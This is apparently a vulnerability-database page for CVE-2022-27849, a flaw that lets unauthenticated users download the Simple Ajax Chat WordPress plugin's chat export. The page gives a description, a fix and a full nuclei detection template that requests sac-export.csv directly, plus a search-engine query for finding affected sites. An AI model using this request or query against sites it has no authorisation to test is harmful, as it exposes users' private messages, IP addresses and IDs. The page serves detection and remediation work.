HexBrain

Browse / CVEs / CVE-2022-27849

CVE-2022-27849· plugin-planet / simple ajax chat· CWE-200

WordPress Simple Ajax Chat <20220116 - Sensitive Information Disclosure vulnerability

highseverity
7.5CVSS score
4.6%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

WordPress Simple Ajax Chat before 20220216 is vulnerable to sensitive information disclosure. The plugin does not properly restrict access to the exported data via the sac-export.csv file, which could allow unauthenticated users to access it.

Impact

An attacker can exploit this vulnerability to gain access to sensitive information, such as user credentials or private messages.

Fix

Update to the latest version of the WordPress Simple Ajax Chat plugin to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/simple-ajax-chat/sac-export.csv
Positive when: contains "\"Chat Log\"" and "\"User IP\"" and "\"User ID\"" AND contains in header "text/csv" AND status 200

Run it with nuclei: nuclei -id CVE-2022-27849 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-27849

info:
  name: WordPress Simple Ajax Chat <20220116 - Sensitive Information Disclosure vulnerability
  author: random-robbie
  severity: high
  description: |
    WordPress Simple Ajax Chat before 20220216 is vulnerable to sensitive information disclosure. The plugin does not properly restrict access to the exported data via the sac-export.csv file, which could allow unauthenticated users to access it.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, such as user credentials or private messages.
  remediation: |
    Update to the latest version of the WordPress Simple Ajax Chat plugin to fix the vulnerability.
  reference:
    - https://wordpress.org/plugins/simple-ajax-chat/#developers
    - https://patchstack.com/database/vulnerability/simple-ajax-chat/wordpress-simple-ajax-chat-plugin-20220115-sensitive-information-disclosure-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27849
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-27849
    cwe-id: CWE-200
    epss-score: 0.04619
    epss-percentile: 0.91766
    cpe: cpe:2.3:a:plugin-planet:simple_ajax_chat:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: plugin-planet
    product: simple_ajax_chat
    framework: wordpress
    google-query: inurl:/wp-content/plugins/simple-ajax-chat/
  tags: cve,cve2022,wp,wordpress,wp-plugin,disclosure,plugin-planet,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/simple-ajax-chat/sac-export.csv'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"Chat Log"'
          - '"User IP"'
          - '"User ID"'
        condition: and

      - type: word
        part: header
        words:
          - text/csv

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from